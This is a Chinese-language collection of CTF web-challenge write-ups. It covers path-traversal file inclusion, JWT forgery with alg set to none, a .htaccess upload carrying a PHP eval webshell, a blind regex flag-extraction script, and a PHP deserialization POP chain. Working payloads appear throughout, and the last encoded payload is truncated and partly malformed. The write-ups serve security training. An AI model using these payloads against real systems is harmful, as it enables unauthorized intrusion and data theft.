<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}


if (in_array($page, $whitelist)) {
return true;
}


$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}


$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}


if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

最後有個include檔案包含

還提示了一個hint.php

也訪問一下

第二個if直接判斷,肯定沒法用

第三個if擷取?前部分,雖然能過檢驗,但是第二個?後的ffffllllaaaagggg會被當成引數名,沒法被當成檔案包含

第四個if語句中,先進行url解碼再擷取,因此我們可以將?經過兩次url編碼,在伺服器端提取引數時解碼一次,urldecode再解碼一次,然後包含的時候進行目錄穿越

payload:

?file=source.php%253f../../../../../ffffllllaaaagggg

服務端將?解碼一次之後是%3f

檔案包含的時候source.php%253f../../../../../ffffllllaaaagggg被當成路徑,進入source.php%3f目錄(不存在),source.php%3f../就是當前目錄,然後多翻幾級挨個目錄找flag就行了

[HFCTF2020]EasyLogin

註冊賬號之後登入完了有個GET flag

但是不讓有flag欄位

主頁的url中的login和register都沒有.php字尾,查閱資料是用js框架寫的網站,沒有用php,訪問一下app.js

上網查閱資料,koa是一種 基於Node.js的框架,然後有一個目錄controllers裡面有個api.js

訪問一下會出現原始碼

檢視其中的部分原始碼:

 'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}


const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});


await next();
},

flag在api/flag裡,讀取session中的username欄位,不是admin不能讀取

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;


if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}


if(global.secrets.length > 100000) {
global.secrets = [];
}


const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)


const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});


ctx.rest({
token: token
});


await next();
},

這段中有驗證cookie或session中的tooken的JWT密文的程式碼,可以偽造其中的JWT。

在登入的時候抓包

ey開頭的這個就是JWT格式的編碼,拿去相關網站解碼

加密方式alg改為none,JWT支援none加密,也就是無簽名加密,這樣就可以忽略token,使任何token都生效

然後其他欄位就可以隨意改了,把使用者名稱改成admin,再加密回去

authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYSIsImlhdCI6IDE1ODc2MzIwNjN9.

然後再登入,抓包把JWT改成這個

可以看到登入成功了,然後這時瀏覽器存的已經是admin的cookie了

然後再去搜索flag.php就可以搜到了

[JMCTF 2021]UploadHub

題裡給了一個壓縮包

解壓之後發現是整個網站的原始碼

開啟網站是一個檔案上傳的頁面

傳一個php檔案試試,發現直接就能上傳成功了,不過上傳成功之後會有一個圖片的小圖示

訪問一下upload/2.php,提示Not Found,可能是被改名或者該字尾了

檢視upload

然後訪問2.php,還是不行

去檢視一下原始碼

index.php檔案php部分:

<?php
error_reporting(0);
session_start();
include('config.php');


$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');

if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{

$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);


$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);


if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}


move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}


elseif (isset($_GET['id'])){
$id=intval($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
}
?>

會在upload資料夾下為我們上傳的檔案再生成一個MD5加密名的資料夾

再檢視apache2.conf

有這樣一段

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off

這一單是關閉了upload目錄的php的解析,上傳php檔案就沒有用了,能想到是用.htaccess修改配置,但是沒有想到該怎麼改

查閱他人的wp,有兩種方法,可以構造一個 .htaccess檔案

<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>


php_value auto_prepend_file .htaccess
#<?php eval($_POST['a']);?>

強制所有匹配的檔案被一個指定的處理器處理:

ForceType application/x-httpd-php

SetHandler application/x-httpd-php

將.htaccess檔案解析為php:

Require all granted  #允許所有請求

php_flag engine on   #開啟PHP的解析

php_value auto_prepend_file .htaccess 在主檔案解析之前自動解析包含.htaccess的內容

然後就可以post傳參執行系統命令了找flag了

方法二:

還是上傳.htaccess

<If "file('/flag')=~ '/flag{/'">
ErrorDocument 404 "wupco"
</If>

~ 用於開啟正則表示式分析,正則表示式必須在雙引號之間。

如果匹配到就設定ErrorDocument 404為"wupco",那麼訪問一個不存在的頁面時就會顯示wupco這個字串

大佬的指令碼

import requests
import string
import hashlib
ip = '02575f23c84096e2c8c64b878fabeea2'
print(ip)


def check(a):
htaccess = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco6"
</If>
'''
resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text


if "wupco" not in a:
return False
else:
print(a)
return True
flag = "flag{"
check(flag)


c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue

[MRCTF2020]套娃

檢視網頁原始碼有這樣一段註釋

<!--
//1st
$query = $_SERVER['QUERY_STRING'];


if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

要求我們GET傳參b_u_p_t,不等於23333且能正則匹配,%0a換行繞過

並且不能有_以及%5f

用b.u.p.t代替b_u_p_t

?b.u.p.t=23333%0A

給出了flag的位置,訪問一下

提示ip不對,只有本地能訪問

加個XFF頭試一下?

但是再看網頁原始碼

這個東西叫 jsfuck程式碼

比如[]==![]返回true,因為![]會返回flase,等號把flase轉成0,然後左邊空的[]也為0

大概就通過這種符號的拼湊就可以執行一些js程式碼

把這些jsfuck程式碼拿到網站執行一下

要求post傳參個Merak,傳參後給出了此頁面的原始碼

Flag is here~But how to get it? <?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';


if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}




function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

getIP()是自定義的函式通常用於獲取http請求頭中的Client-ip或者XFF欄位,XFF剛剛試了不行

然後2333引數要是一個有指定內容的檔名,用data://寫進去

然後將file引數用change()函式轉換一下內容,再輸出轉換後的file檔名的內容

change函式會遍歷file引數的每個字元,將第i個字元變成第i個字元的ascii碼加上i*2對應的字元

將+i 2改成-i 2就得出了change後是flag.php的字串

<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$a="flag.php";
echo base64_encode(unchange($a));
?>
結果:ZmpdYSZmXGI=

payload:

?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
Client-IP:127.0.0.1

[MRCTF2020]Ezpop

進來就顯示了原始碼

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}


class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}


public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}


class Test{
public $p;
public function __construct(){
$this->p = array();
}


public function __get($key){
$function = $this->p;
return $function();
}
}


if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

開頭提示了flag在flag.txt檔案裡

檢視原始碼

第一個類Modifier中有一個魔術方法__invoke()函式會呼叫append()函式,然後append函式又會呼叫include()函式來包含成員變數var,只要讓var等於flag.txt就可以獲得flag

搜尋一下里面出現過的所有魔術方法

__construct 當一個物件建立時被呼叫

__toString 當一個物件被當作一個字串呼叫時觸發

__wakeup() 使用unserialize時觸發

__get() 用於從不可訪問的屬性讀取資料

__invoke() 當指令碼嘗試將物件當做函式呼叫時觸發

在Test類中有兩個魔法函式 construct和 get

class Test{
public $p;
public function __construct(){
$this->p = array();
}


public function __get($key){
$function = $this->p;
return $function();
}
}

建立了一個成員變數p,然後_get方法中將p變數賦值給function然後返回了函式形式

__get() 用於從不可訪問的屬性讀取資料,比如訪問私有屬性,或者不存在的屬性

再看最後一個類

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}


public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

__toString 當一個被當作一個字串呼叫時觸發

這個類中 wakeup會在建立物件的時候呼叫,裡面有一個preh_match函式會把this->source屬性當成字串,然後就會呼叫 toString方法,只要 toString的返回的類屬性不存在, toString方法就會將返回的類屬性當做字串來返回給上一步的 get方法,然後 get方法再返回函式形式給 invoke方法, invoke再呼叫append再呼叫include就可以讀取到flag.txt

exp:

class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Modifier {
protected $var = 'flag.php';
}


$a = new Show();
$b = new Show();
$a->source = $b;
$b->str = new Test();
$b->str->p = new Modifier();

其實就是建立了這樣一個東西:

a=Show{ source=Show{source Test{p=Modifier{var=flag.php}},str} str}

在建立a的時候呼叫了wakeup,wakeup把第一個source當成字串,然後這時toString自動呼叫,toString返回$this->str->source,但是str沒有值,所以get自動呼叫了,返回了this->p也就是M{var}並當成了函式呼叫,然後invoke自動呼叫,執行var也就是讀取flag的語句

然後把a物件序列化

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";N;}

再用url編碼後構造payload就可以了,但是讀取不到東西,換一下偽協議filter用base64讀取

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

url編碼

?pop=
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%2%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modif

結果拿去解碼

Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室。 團隊公眾號自建立以來,共釋出原創文章400餘篇,自研平臺達到31個,目有18個平臺已開源。此外積極參加各類線上、線下CTF比賽並取得了優異的成績。如有對安全行業感興趣的小夥伴可以踴躍加入或關注我們